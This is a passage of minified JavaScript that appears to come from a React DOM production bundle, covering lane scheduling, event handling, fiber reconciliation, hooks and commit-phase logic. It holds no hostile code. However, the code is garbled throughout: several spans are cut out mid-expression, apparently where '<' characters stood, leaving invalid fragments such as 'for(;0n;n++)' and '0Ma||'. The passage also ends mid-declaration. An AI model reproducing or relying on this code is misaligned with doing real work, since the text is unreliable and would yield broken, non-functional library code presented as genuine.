o=n&~i,o!==0?r=Js(o):s!==0&&(r=Js(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Jo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function aC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=so),Xv=" ",Zv=!1;function Kw(e,t){switch(e){case"keyup":return TC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Yw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var _a=!1;function LC(e,t){switch(e){case"compositionend":return Yw(t);case"keypress":return t.which!==32?null:(Zv=!0,Xv);case"textInput":return e=t.data,e===Xv&&Zv?null:e;default:return null}}function IC(e,t){if(_a)return e==="compositionend"||!Kh&&Kw(e,t)?(e=Vw(),dc=Uh=oi=null,_a=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=tg(n)}}function Zw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Zw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Qw(){for(var e=window,t=Cc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Cc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function HC(e){var t=Qw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Zw(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=ng(n,s);var o=ng(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Aa=null,ep=null,lo=null,tp=!1;function rg(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;tp||Aa==null||Aa!==Cc(r)||(r=Aa,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),lo&&wo(lo,r)||(lo=r,r=Mc(ep,"onSelect"),0Ma||(e.current=op[Ma],op[Ma]=null,Ma--)}function Be(e,t){Ma++,op[Ma]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function Ja(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Ic(){Ue(Qt),Ue($t)}function ug(e,t,n){if($t.current!==ki)throw Error(J(168));Be($t,t),Be(Qt,n)}function oj(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(J(108,BS(e)||"Unknown",i));return Ze({},n,r)}function Dc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function dg(e,t,n){var r=e.stateNode;if(!r)throw Error(J(169));n?(e=oj(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,Ju=!1,Hf=!1;function lj(e){jr===null?jr=[e]:jr.push(e)}function rP(e){Ju=!0,lj(e)}function _i(){if(!Hf&&jr!==null){Hf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e>=o,i-=o,kr=1<<32-Kn(t)+i|n<S?(A=z,z=null):A=z.sibling;var _=p(v,z,w[S],j);if(_===null){z===null&&(z=A);break}e&&z&&_.alternate===null&&t(v,z),b=s(_,b,S),k===null?N=_:k.sibling=_,k=_,z=A}if(S===w.length)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;SS?(A=z,z=null):A=z.sibling;var O=p(v,z,_.value,j);if(O===null){z===null&&(z=A);break}e&&z&&O.alternate===null&&t(v,z),b=s(O,b,S),k===null?N=O:k.sibling=O,k=O,z=A}if(_.done)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;!_.done;S++,_=w.next())_=f(v,_.value,j),_!==null&&(b=s(_,b,S),k===null?N=_:k.sibling=_,k=_);return Ke&&$i(v,S),N}for(z=r(v,z);!_.done;S++,_=w.next())_=h(z,v,S,_.value,j),_!==null&&(e&&_.alternate!==null&&z.delete(_.key===null?S:_.key),b=s(_,b,S),k===null?N=_:k.sibling=_,k=_);return e&&z.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===Ea&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case kl:e:{for(var N=w.key,k=b;k!==null;){if(k.key===N){if(N=w.type,N===Ea){if(k.tag===7){n(v,k.sibling),b=i(k,w.props.children),b.return=v,v=b;break e}}else if(k.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&pg(N)===k.type){n(v,k.sibling),b=i(k,w.props),b.ref=Is(v,k,w),b.return=v,v=b;break e}n(v,k);break}else t(v,k);k=k.sibling}w.type===Ea?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=yc(w.type,w.key,w.props,null,v.mode,j),j.ref=Is(v,b,w),j.return=v,v=j)}return o(v);case Pa:e:{for(k=w.key;b!==null;){if(b.key===k)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Jf(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return k=w._init,y(v,b,k(w._payload),j)}if(Qs(w))return x(v,b,w,j);if(As(w))return g(v,b,w,j);Ll(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Qf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var ts=fj(!0),mj=fj(!1),Bc=Ei(null),Fc=null,Da=null,Zh=null;function Qh(){Zh=Da=Fc=null}function Jh(e){var t=Bc.current;Ue(Bc),e._currentValue=t}function up(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Ya(e,t){Fc=e,Zh=Da=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(qt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Zh!==e)if(e={context:e,memoizedValue:t,next:null},Da===null){if(Fc===null)throw Error(J(308));Da=e,Fc.dependencies={lanes:0,firstContext:e}}else Da=Da.next=e;return t}var Ki=null;function ex(e){Ki===null?Ki=[e]:Ki.push(e)}function pj(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,ex(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function tx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function hj(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,ex(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function mc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Bh(e,n)}}function hg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Wc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function xg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function Oj(){return An().memoizedState}function oP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},Tj(e))Mj(t,n);else if(n=pj(e,t,n,r),n!==null){var i=Wt();Yn(n,e,r,i),Lj(n,t,r)}}function lP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(Tj(e))Mj(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,Gn(l,o)){var c=t.interleaved;c===null?(i.next=i,ex(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=pj(e,t,i,r),n!==null&&(i=Wt(),Yn(n,e,r,i),Lj(n,t,r))}}function Tj(e){var t=e.alternate;return e===Ge||t!==null&&t===Ge}function Mj(e,t){co=Vc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function Lj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Bh(e,n)}}var Hc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},cP={readContext:_n,useCallback:function(e,t){return ir().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:gg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,hc(4194308,4,Cj.bind(null,t,e),n)},useLayoutEffect:function(e,t){return hc(4194308,4,e,t)},useInsertionEffect:function(e,t){return hc(4,2,e,t)},useMemo:function(e,t){var n=ir();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ir();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=oP.bind(null,Ge,e),[r.memoizedState,e]},useRef:function(e){var t=ir();return e={current:e},t.memoizedState=e},useState:vg,useDebugValue:cx,useDeferredValue:function(e){return ir().memoizedState=e},useTransition:function(){var e=vg(!1),t=e[0];return e=sP.bind(null,e[1]),ir().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Ge,i=ir();if(Ke){if(n===void 0)throw Error(J(407));n=n()}else{if(n=t(),Nt===null)throw Error(J(349));aa&30||yj(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,gg(wj.bind(null,r,s,e),[e]),r.flags|=2048,Eo(9,bj.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ir(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Co++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[ar]=t,e[ko]=r,Hj(e,t,!1,!1),t.stateNode=e;e:{switch(o=Km(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;iis&&(t.flags|=128,r=!0,Ds(s,!1),t.lanes=4194304)}else{if(!r)if(e=Uc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Ds(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>is&&n!==1073741824&&(t.flags|=128,r=!0,Ds(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=qe.current,Be(qe,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return hx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(J(156,t.tag))}function vP(e,t){switch(Gh(t),t.tag){case 1:return Jt(t.type)&&Ic(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return ns(),Ue(Qt),Ue($t),ix(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return rx(t),null;case 13:if(Ue(qe),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(J(340));es()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(qe),null;case 4:return ns(),null;case 10:return Jh(t.type._context),null;case 22:case 23:return hx(),null;case 24:return null;default:return null}}var Dl=!1,Rt=!1,gP=typeof WeakSet=="function"?WeakSet:Set,me=null;function Ra(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function yp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var Eg=!1;function yP(e,t){if(np=Oc,e=Qw(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(rp={focusedElem:e,selectionRange:n},Oc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(J(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=Eg,Eg=!1,x}function uo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&yp(t,n,s)}i=i.next}while(i!==r)}}function nd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function bp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function qj(e){var t=e.alternate;t!==null&&(e.alternate=null,qj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[ar],delete t[ko],delete t[sp],delete t[tP],delete t[nP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Gj(e){return e.tag===5||e.tag===3||e.tag===4}function _g(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Gj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function wp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Lc));else if(r!==4&&(e=e.child,e!==null))for(wp(e,t,n),e=e.sibling;e!==null;)wp(e,t,n),e=e.sibling}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)Xj(e,t,n),n=n.sibling}function Xj(e,t,n){if(cr&&typeof cr.onCommitFiberUnmount=="function")try{cr.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||Ra(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Vf(e.parentNode,n):e.nodeType===1&&Vf(e,n),yo(e)):Vf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&yp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&(Ra(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Ag(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new gP),t.forEach(function(r){var i=PP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*wP(r/1960))-r,10e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(J(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;cat()-mx?Zi(e,0):fx|=n),en(e,t)}function i5(e,t){t===0&&(e.mode&1?(t=Pl,Pl<<=1,!(Pl&130023424)&&(Pl=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(Jo(e,t,n),en(e,n))}function CP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),i5(e,n)}function PP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(J(314))}r!==null&&r.delete(t),i5(e,n)}var a5;a5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)qt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return qt=!1,hP(e,t,n);qt=!!(e.flags&131072)}else qt=!1,Ke&&t.flags&1048576&&cj(t,$c,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;xc(e,t),e=t.pendingProps;var i=Ja(t,$t.current);Ya(t,n),i=sx(null,t,r,e,i,n);var s=ox();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Dc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,tx(t),i.updater=td,t.stateNode=i,i._reactInternals=t,fp(t,r,e,n),t=hp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(xc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=_P(r),e=Bn(r,e),i){case 0:t=pp(null,t,r,e,n);break e;case 1:t=Sg(null,t,r,e,n);break e;case 11:t=kg(null,t,r,e,n);break e;case 14:t=zg(null,t,r,Bn(r.type,e),n);break e}throw Error(J(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),pp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Sg(e,t,r,i,n);case 3:e:{if(Wj(t),e===null)throw Error(J(387));r=t.pendingProps,s=t.memoizedState,i=s.element,hj(e,t),Wc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=rs(Error(J(423)),t),t=Cg(e,t,r,n,i);break e}else if(r!==i){i=rs(Error(J(424)),t),t=Cg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=mj(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(es(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return xj(t),e===null&&cp(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ip(r,i)?o=null:s!==null&&ip(r,s)&&(t.flags|=32),Fj(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&cp(t),null;case 13:return Uj(e,t,n);case 4:return nx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=ts(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),kg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Bc,r._currentValue),r._currentValue=o,s!==null)if(Gn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),up(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(J(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),up(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Ya(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),zg(e,t,r,i,n);case 15:return $j(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),xc(e,t),t.tag=1,Jt(r)?(e=!0,Dc(t)):e=!1,Ya(t,n),Ij(t,r,i),fp(t,r,i,n),hp(null,t,r,!0,e,n);case 19:return Vj(e,t,n);case 22:return Bj(e,t,n)}throw Error(J(156,t.tag))};function s5(e,t){return Tw(e,t)}function 